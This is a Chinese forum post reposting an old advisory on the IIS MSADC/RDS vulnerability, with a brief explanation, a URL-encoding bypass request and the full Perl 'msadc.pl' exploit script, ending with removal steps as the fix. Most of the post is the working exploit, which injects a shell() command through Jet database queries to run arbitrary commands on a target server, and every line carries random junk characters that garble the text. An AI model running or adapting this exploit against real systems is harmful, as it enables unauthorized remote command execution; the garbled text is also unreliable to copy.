社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166913阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)  {~w!  
x$S~>H<a  
涉及程序: M[_Ptqjb  
Microsoft NT server UyF;sw  
2%`8  
描述:  8*uaI7;*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 /~?[70B}E  
,.L o)[(  
详细: qa6HwlC1  
如果你没有时间读详细内容的话,就删除: A!$sO p  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Ku3NE-)  
有关的安全问题就没有了。 s;tI?kR>%  
ma`sv<f4-!  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4%<D\#  
nGTqW/k[+s  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 R F;u1vEQ8  
关于利用ODBC远程漏洞的描述,请参看: wvr`~e  
kkj_k:Eah  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |m$]I4Jr  
W)Yo-%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 }j\8|UG  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^vOEG;TR<-  
e.!~7c_z?  
这里不再论述。 +bWo{   
=[gFaB_H  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: dcE(uf  
Yg1HvSw\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;Z,l};b  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! owO &[D/  
mt-t8~A  
mVT[:a3  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2k`Q+[?{q>  
7~H$p X  
#!perl #"o`'5  
# C"h7'+Kw  
# MSADC/RDS 'usage' (aka exploit) script _IvqZ/6Y(  
# fs#9*<]m  
# by rain.forest.puppy :QMpp}G  
# !zfV (&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 3tmS/ tQp  
# beta test and find errors! /T 4GPi\lg  
48 mTL+*  
use Socket; use Getopt::Std; YD5mJ[1t"2  
getopts("e:vd:h:XR", \%args); id/y_ekfP  
 w4UJXc  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; t0 T#Xb  
q6P5:@  
if (!defined $args{h} && !defined $args{R}) { 3C#Sr6  
print qq~ 36 ]?4, .  
Usage: msadc.pl -h <host> { -d <delay> -X -v } _wZr`E)  
-h <host> = host you want to scan (ip or domain) LO)QEUG  
-d <seconds> = delay between calls, default 1 second {ka={7  
-X = dump Index Server path table, if available 4}<[4]f?|  
-v = verbose asYUb&Hz88  
-e = external dictionary file for step 5 F[0w*i&u5  
(abtCuZ8z  
Or a -R will resume a command session 08nA}+k  
biH ZyUJ  
~; exit;} Lo +H&-  
3+I"Dm,  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ESkhCDU  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ban;HGGNG{  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} J vtbGPz  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); tSunO-\y  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3u= >Y^wu  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } u9ue>I /  
%lGg}9k'  
if (!defined $args{R}){ $ret = &has_msadc; %nj{eT  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} F\+!\b*lP  
H$)otDOE  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #:[CF:  
. "cmd /c "; F^7qr  
$in=<STDIN>; chomp $in; M`|E)Y  
$command="cmd /c " . $in ; FW"gj\  
PtOYlZTe?  
if (defined $args{R}) {&load; exit;} B|- W  
Gq.fQ_oOb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ^:o^g'Yab  
&try_btcustmr; -q DL':  
xGK"`\V  
print "\nStep 2: Trying to make our own DSN..."; w?M` gl8r  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; oBWa\N  
Xxs0N_va&  
print "\nStep 3: Trying known DSNs..."; VOrBNu  
&known_dsn; t~ z;G%a  
6b h.5|  
print "\nStep 4: Trying known .mdbs..."; >F;yfv;  
&known_mdb; ":01M},RA  
lFc^y  
if (defined $args{e}){ X"v)9 p  
print "\nStep 5: Trying dictionary of DSN names..."; *En4~;l  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } IlMst16q5  
7u[$  
print "Sorry Charley...maybe next time?\n"; uS{WeL6%  
exit; s"0Hz"[^=  
4 _Idf  
############################################################################## 5m rkw  
:&$ WWv  
sub sendraw { # ripped and modded from whisker WizVw&Iv  
sleep($delay); # it's a DoS on the server! At least on mine... >Gr,!yP  
my ($pstr)=@_; 3qrjb]E%}  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || + :k"{I   
die("Socket problems\n"); *!yY7 ~#  
if(connect(S,pack "SnA4x8",2,80,$target)){ Q Pp>%iE@  
select(S); $|=1; Cg%}=  
print $pstr; my @in=<S>; ZNY), 3?  
select(STDOUT); close(S); Yj>ezFo  
return @in; wy# 5p]!u  
} else { die("Can't connect...\n"); }} Y j*Y*LB~  
)zvjsx*e=J  
############################################################################## D? FWSv  
t3;QF  
sub make_header { # make the HTTP request QhmOO-Z?  
my $msadc=<<EOT -^= JKd &p  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ,IQ%7*f;O_  
User-Agent: ACTIVEDATA 3("E5lI(g:  
Host: $ip -v?)E S  
Content-Length: $clen {@T<eb$d  
Connection: Keep-Alive t$b{zv9C  
R ;3!?`  
ADCClientVersion:01.06 1Et{lrgh f  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Xm[Cgt_?  
;F\sMf{  
--!ADM!ROX!YOUR!WORLD! !_j6\r=  
Content-Type: application/x-varg vK8!V7o~h%  
Content-Length: $reqlen _:?b -44  
xs$ -^FnD  
EOT pDG>9P#mO  
; $msadc=~s/\n/\r\n/g; Y EhPAQNj  
return $msadc;} iGsD!2  
dZ'H'm;,!  
############################################################################## BYWs\6vK  
k= oCpXq^  
sub make_req { # make the RDS request F48W8'un  
my ($switch, $p1, $p2)=@_; R(<_p"9(  
my $req=""; my $t1, $t2, $query, $dsn; o.KE=zp&z  
rJ fO/WK  
if ($switch==1){ # this is the btcustmr.mdb query DO9_o9'  
$query="Select * from Customers where City=" . make_shell(); PW GN UNc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *aS[^iX?s  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} x @uowx_&m  
$5Tjo T  
elsif ($switch==2){ # this is general make table query pJ H@v &a  
$query="create table AZZ (B int, C varchar(10))"; P/doNv}iG  
$dsn="$p1";} UaV8 !Z>  
t gHXIr}3  
elsif ($switch==3){ # this is general exploit table query uPBtR  
$query="select * from AZZ where C=" . make_shell(); 2qfKDZ9f^  
$dsn="$p1";} 2, r{zJ8  
=!P$[pN2  
elsif ($switch==4){ # attempt to hork file info from index server @[w.!GW%  
$query="select path from scope()"; ]m"6a-,`  
$dsn="Provider=MSIDXS;";} cK~VNzsz  
k|[86<&[  
elsif ($switch==5){ # bad query %n:ymc $}  
$query="select";  Ts 1  
$dsn="$p1";} ]{PJ  
hR%2[lBn!]  
$t1= make_unicode($query); ^U0)iz  
$t2= make_unicode($dsn); e[*%tx H  
$req = "\x02\x00\x03\x00"; A!fRpN  
$req.= "\x08\x00" . pack ("S1", length($t1)); y`p(}X`>  
$req.= "\x00\x00" . $t1 ; f l*O)r  
$req.= "\x08\x00" . pack ("S1", length($t2)); F@Cxjz  
$req.= "\x00\x00" . $t2 ; 73>Hzpv0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &1,{.:@e  
return $req;} LXx`Vk>ky  
(ixlFGvEq  
############################################################################## t[Ywp!y[  
Jqgo\r%`  
sub make_shell { # this makes the shell() statement OIdoe0JR:O  
return "'|shell(\"$command\")|'";} jv'q :uA^  
'"fZGz?  
############################################################################## OysO55i  
\R (Yf!>  
sub make_unicode { # quick little function to convert to unicode n`2LGc[rP  
my ($in)=@_; my $out; ]sG^a7Z.X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7=[/J*-m  
return $out;} Sx}61?  
 NncII5z  
############################################################################## <J .-fZS%  
V { yk  
sub rdo_success { # checks for RDO return success (this is kludge) O>kM2xw  
my (@in) = @_; my $base=content_start(@in); h^ =9R6im  
if($in[$base]=~/multipart\/mixed/){ RoeLf Ow  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} { '1e?  
return 0;}  njg\y  
&1$|KbmV4  
############################################################################## fVx_]5jM  
d0 qc%.s  
sub make_dsn { # this makes a DSN for us 2r>I,TNHl  
my @drives=("c","d","e","f"); <A@qN95m  
print "\nMaking DSN: "; .[8g6:>  
foreach $drive (@drives) { U((mOm6  
print "$drive: "; N4[^!}4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Y!w {,\3  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Z }s56{!.  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %:/?eZ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ;LE9w^>^V  
return 0 if $2 eq "404"; # not found/doesn't exist 4+'d">+|  
if($2 eq "200") { tB==v{t  
foreach $line (@results) { /w2jlu}yt  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} Cso-WG,  
} return 0;} qjI.Sr70  
7o4B1YD  
############################################################################## FCA]zR1  
?QG?F9?  
sub verify_exists { ISALR{Aq  
my ($page)=@_; MZK%IC>  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ^b@&O-&s  
return $results[0];} pCt0[R;?  
 j2%?-(U  
############################################################################## Ch,%xs.)G  
#xBh62yIuP  
sub try_btcustmr { DfV'1s4y  
my @drives=("c","d","e","f"); K6M_b?XekA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Zt H{2j0  
XYdr~/[HPy  
foreach $dir (@dirs) { [|{m/`8C  
print "$dir -> "; # fun status so you can see progress _5&LV2  
foreach $drive (@drives) { 9G=HG={  
print "$drive: "; # ditto b5.L== >  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; nHTb~t5Ke  
$reqlenlen=length( "$reqlen" ); Mv#\+|p 1x  
$clen= 206 + $reqlenlen + $reqlen; yi@mf$A|  
=?s0.(;  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6*tbil_G+  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} c!HmZ]/  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $mLiEsJ  
{H[3[  
############################################################################## IM$I=5y e  
:Co+haW  
sub odbc_error { gi5Ffvs$  
my (@in)=@_; my $base; ->Bx>Y  
my $base = content_start(@in); 9Ls=T=96  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this \bzT=^Z;2  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #,PB(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [>wvVv  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k*Vf2O3${  
return $in[$base+4].$in[$base+5].$in[$base+6];} JTI 'W  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; F-I\x  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rJqRzF{|P6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (D <o=Q  
o dTg.m  
############################################################################## #uHl  
h(Ccm44  
sub verbose { [$P.ek<  
my ($in)=@_; QQIU5  
return if !$verbose; ;gmfWHB<  
print STDOUT "\n$in\n";} FST}:*dOe5  
M +Jcg b]  
############################################################################## ;1[Lwnm  
**L3T3$)  
sub save { ?)V}_%fVv  
my ($p1, $p2, $p3, $p4)=@_; J0a#QvX!  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H]JVv8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ajMI7j^G  
close OUT;} /'g"Ys?3  
kx_PMpc  
############################################################################## h`HdM58CQ  
qtLXdSc  
sub load { PS${B   
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; wM#BQe3t#  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); P2^((c  
@p=<IN>; close(IN); 0nOp'Ky\k  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); {pof=G  
$target= inet_aton($ip) || die("inet_aton problems"); #w:6<$  
print "Resuming to $ip ..."; sB>ZN3ptH^  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; UZq1qn@+  
if($p[1]==1) { maopr$r  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; v'zj<|2  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,) JSX o  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); A}cGag+sp  
if (rdo_success(@results)){print "Success!\n";} wBK%=7  
else { print "failed\n"; verbose(odbc_error(@results));}}  L4,Ke  
elsif ($p[1]==3){ ;r}>1LhN  
if(run_query("$p[3]")){ rt7]~W-  
print "Success!\n";} else { print "failed\n"; }} _2C[F~ +l  
elsif ($p[1]==4){ j/9Uf|z-_  
if(run_query($drvst . "$p[3]")){ J}vxK H#=  
print "Success!\n"; } else { print "failed\n"; }} zxr|:KC ?&  
exit;} /2\%X`]<  
|,wp@)e6h  
############################################################################## ]2Q:&T  
A/4HR]  
sub create_table { fQB>0RR2  
my ($in)=@_; G$"$k=[  
$reqlen=length( make_req(2,$in,"") ) - 28; 7>`VZ?  
$reqlenlen=length( "$reqlen" ); dq{wFI)  
$clen= 206 + $reqlenlen + $reqlen; <Y9xHn&  
my @results=sendraw(make_header() . make_req(2,$in,"")); oIP<7gz  
return 1 if rdo_success(@results); W l+[{#  
my $temp= odbc_error(@results); verbose($temp); NHCdf*  
return 1 if $temp=~/Table 'AZZ' already exists/; m% {4  
return 0;} ZAG ia q  
0` {6~p  
############################################################################## 9O+><x[i  
-&ic%0|f  
sub known_dsn { z$>_c "D  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -K_p? l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", SOI$Mx  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Q6G-`&5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); wf<=r W'  
KnC;j-j  
foreach $dSn (@dsns) { Eo$7W5h J  
print "."; v){&g5djl  
next if (!is_access("DSN=$dSn")); y@kRJ 8d  
if(create_table("DSN=$dSn")){ Qw{LD+r(  
print "$dSn successful\n"; 0 7CufoI  
if(run_query("DSN=$dSn")){ ?_L)|:WL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5;5DEMe  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ^qaS  
<J`",h  
############################################################################## TRl,L5wd-?  
/- qS YS(  
sub is_access { ) /kf  
my ($in)=@_; :D>afC8,  
$reqlen=length( make_req(5,$in,"") ) - 28; Vs-])Q?7J  
$reqlenlen=length( "$reqlen" ); MqBA?7  
$clen= 206 + $reqlenlen + $reqlen; P9)E1]Dc$  
my @results=sendraw(make_header() . make_req(5,$in,"")); v>FsP$p4yE  
my $temp= odbc_error(@results); )x/Spb  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 9 wun$!>&  
return 0;} SO #NWa<0|  
IcM99'P(  
############################################################################## I+,~pmn:  
G[}$s7@k  
sub run_query { lLO|,  
my ($in)=@_; )uvs%hK  
$reqlen=length( make_req(3,$in,"") ) - 28; ]xlV;m  
$reqlenlen=length( "$reqlen" ); 2NHkK_B1P  
$clen= 206 + $reqlenlen + $reqlen; Q= DP# 9&  
my @results=sendraw(make_header() . make_req(3,$in,"")); $niJw@zC  
return 1 if rdo_success(@results); T5; zgr  
my $temp= odbc_error(@results); verbose($temp); #V[j Q Vl  
return 0;} \Kp!G1?_AY  
B? $9M9  
############################################################################## ~s@PP'!  
=IQ+9Fl2  
sub known_mdb { 6>rgoT)6~  
my @drives=("c","d","e","f","g"); P|> fO'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); UEZnd8  
my $dir, $drive, $mdb; DQ '=$z  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; tC0:w,C)  
"~R,%sYb(  
# this is sparse, because I don't know of many kdVc;v/5  
my @sysmdbs=( "\\catroot\\icatalog.mdb", S]E1+,-*  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", C&\MDOjx  
"\\system32\\certmdb.mdb", ,(H`E?m1w4  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gnjh=anVX1  
_l`d+ \#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", m0}Pq{ g  
"\\cfusion\\cfapps\\forums\\forums_.mdb", X]^FHYjhS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", OAoTsqj6  
"\\cfusion\\cfapps\\security\\realm_.mdb", : +Na8\d  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 4e6x1`Y{xB  
"\\cfusion\\database\\cfexamples.mdb", F *`*5:7  
"\\cfusion\\database\\cfsnippets.mdb", Sz_bjhyT}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Gwyjie9t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", K4 \{G  
"\\cfusion\\brighttiger\\database\\cleam.mdb", K(&I8vAp  
"\\cfusion\\database\\smpolicy.mdb", bXSsN\:Y@[  
"\\cfusion\\database\cypress.mdb", |mx)W}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", i2. +E&3v  
"\\website\\cgi-win\\dbsample.mdb", `w&Y[8+E  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", {y5v"GR{YM  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Q"o* \I  
); #these are just sGg=4(D  
foreach $drive (@drives) { v5 |XyN"  
foreach $dir (@dirs){ ,8=`Y9#  
foreach $mdb (@sysmdbs) { 1k=w 9  
print "."; Mnj\t3:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ iME )Jl&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8>U{>]WG  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #%Z 0!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; c[p>*FnP  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 9T`$gAI  
Gi=sJV  
foreach $drive (@drives) { Sn6cwf9.s  
foreach $mdb (@mdbs) { )4nf={iM  
print "."; _/FpmnaY  
if(create_table($drv . $drive . $dir . $mdb)){ GSHJ?}U,  
print "\n" . $drive . $dir . $mdb . " successful\n"; XH^X4W  
if(run_query($drv . $drive . $dir . $mdb)){ $w,O[PIi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ua!i3]18  
} else { print "Something's borked. Use verbose next time\n"; }}}} {RG4m{#9  
} C?xah?Sk  
= aO1uC|6C  
############################################################################## 3 pzp6o2  
y\a@'LFL  
sub hork_idx { }PC_qQF  
print "\nAttempting to dump Index Server tables...\n"; %4bGI/\/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; )Y@E5Tuk>  
$reqlen=length( make_req(4,"","") ) - 28; Ch] `@(l  
$reqlenlen=length( "$reqlen" ); c0 I;8z`b  
$clen= 206 + $reqlenlen + $reqlen; *Z9Rl>  
my @results=sendraw2(make_header() . make_req(4,"","")); g2Hz[C(  
if (rdo_success(@results)){ O V"5:){  
my $max=@results; my $c; my %d; 3^jkd)xw  
for($c=19; $c<$max; $c++){ n]%T>\gw  
$results[$c]=~s/\x00//g; 3]46qk '  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; U4$}8~o4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; hFW{qWP  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Quq X4  
$d{"$1$2"}="";} Kia34 ~W  
foreach $c (keys %d){ print "$c\n"; } QIK;kjr*A3  
} else {print "Index server doesn't seem to be installed.\n"; }} \!51I./Q/  
a^#\"c  
############################################################################## l:@`.'-=  
q0m> NA   
sub dsn_dict { EDDld6O,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); [=EmDP:@  
while(<IN>){ [-5l=j r  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (93$ L zZ  
next if (!is_access("DSN=$dSn")); G5oBe6\C  
if(create_table("DSN=$dSn")){ F `4a0~?  
print "$dSn successful\n"; r(ZMZ^  
if(run_query("DSN=$dSn")){ \kR:GZ`{UV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j7XUFA  
print "Something's borked. Use verbose next time\n";}}} FQlYCb  
print "\n"; close(IN);} %2 I >0  
)yTBtYw3  
############################################################################## a_T3<  
.UGbo.e  
sub sendraw2 { # ripped and modded from whisker dzbFUDJ  
sleep($delay); # it's a DoS on the server! At least on mine... JS!`eO/8  
my ($pstr)=@_; _{C =d3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || VF bso3q<j  
die("Socket problems\n"); *[|a $W  
if(connect(S,pack "SnA4x8",2,80,$target)){ v =]!Po&Q-  
print "Connected. Getting data"; o>l/*i0I  
open(OUT,">raw.out"); my @in; z+5%.^Re  
select(S); $|=1; print $pstr; Lz/{ q6>  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 9Qb6ek  
close(OUT); select(STDOUT); close(S); return @in; %E"dha JY  
} else { die("Can't connect...\n"); }} 2v\<MrL  
!+)5?o  
############################################################################## /D>G4PP<  
0s72BcP  
sub content_start { # this will take in the server headers >Tp`Kri  
my (@in)=@_; my $c; e ia>Y$  
for ($c=1;$c<500;$c++) { 3EA+tG4KnO  
if($in[$c] =~/^\x0d\x0a/){ 3 +WmM4|  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } U3^3nL-M9  
else { return $c+1; }}} \LYNrL~?J  
return -1;} # it should never get here actually [Te"|K':  
hQ80R B  
############################################################################## 0x2[*pJ|IW  
1~ZFkcV_C  
sub funky { /=[hRn@)A  
my (@in)=@_; my $error=odbc_error(@in); Ca}V5O  
if($error=~/ADO could not find the specified provider/){ 5_+pgJL  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; QIC? `hk1  
exit;} m:)s UC0  
if($error=~/A Handler is required/){ ~[Z,:=z  
print "\nServer has custom handler filters (they most likely are patched)\n"; :;URLl0  
exit;} X<<FS%:+  
if($error=~/specified Handler has denied Access/){ ^ 0g!,L  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7srq~;j3  
exit;}} q+U&lw|"w  
R*l3 zn>  
############################################################################## 4XgzNwm  
(2(y9r*1  
sub has_msadc { I\<)9`O  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); BV)) #D9  
my $base=content_start(@results); hiw>Q7W  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y(;u)uN_  
return 0;} M-/2{F[  
j_0xE;g"]  
######################## >)edha*W]  
6 2LLfD  
xp F(de  
解决方案: .s%dP.P:i1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P*/ig0_fM  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7X8n|NZRH7  
'[p0+5*x  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五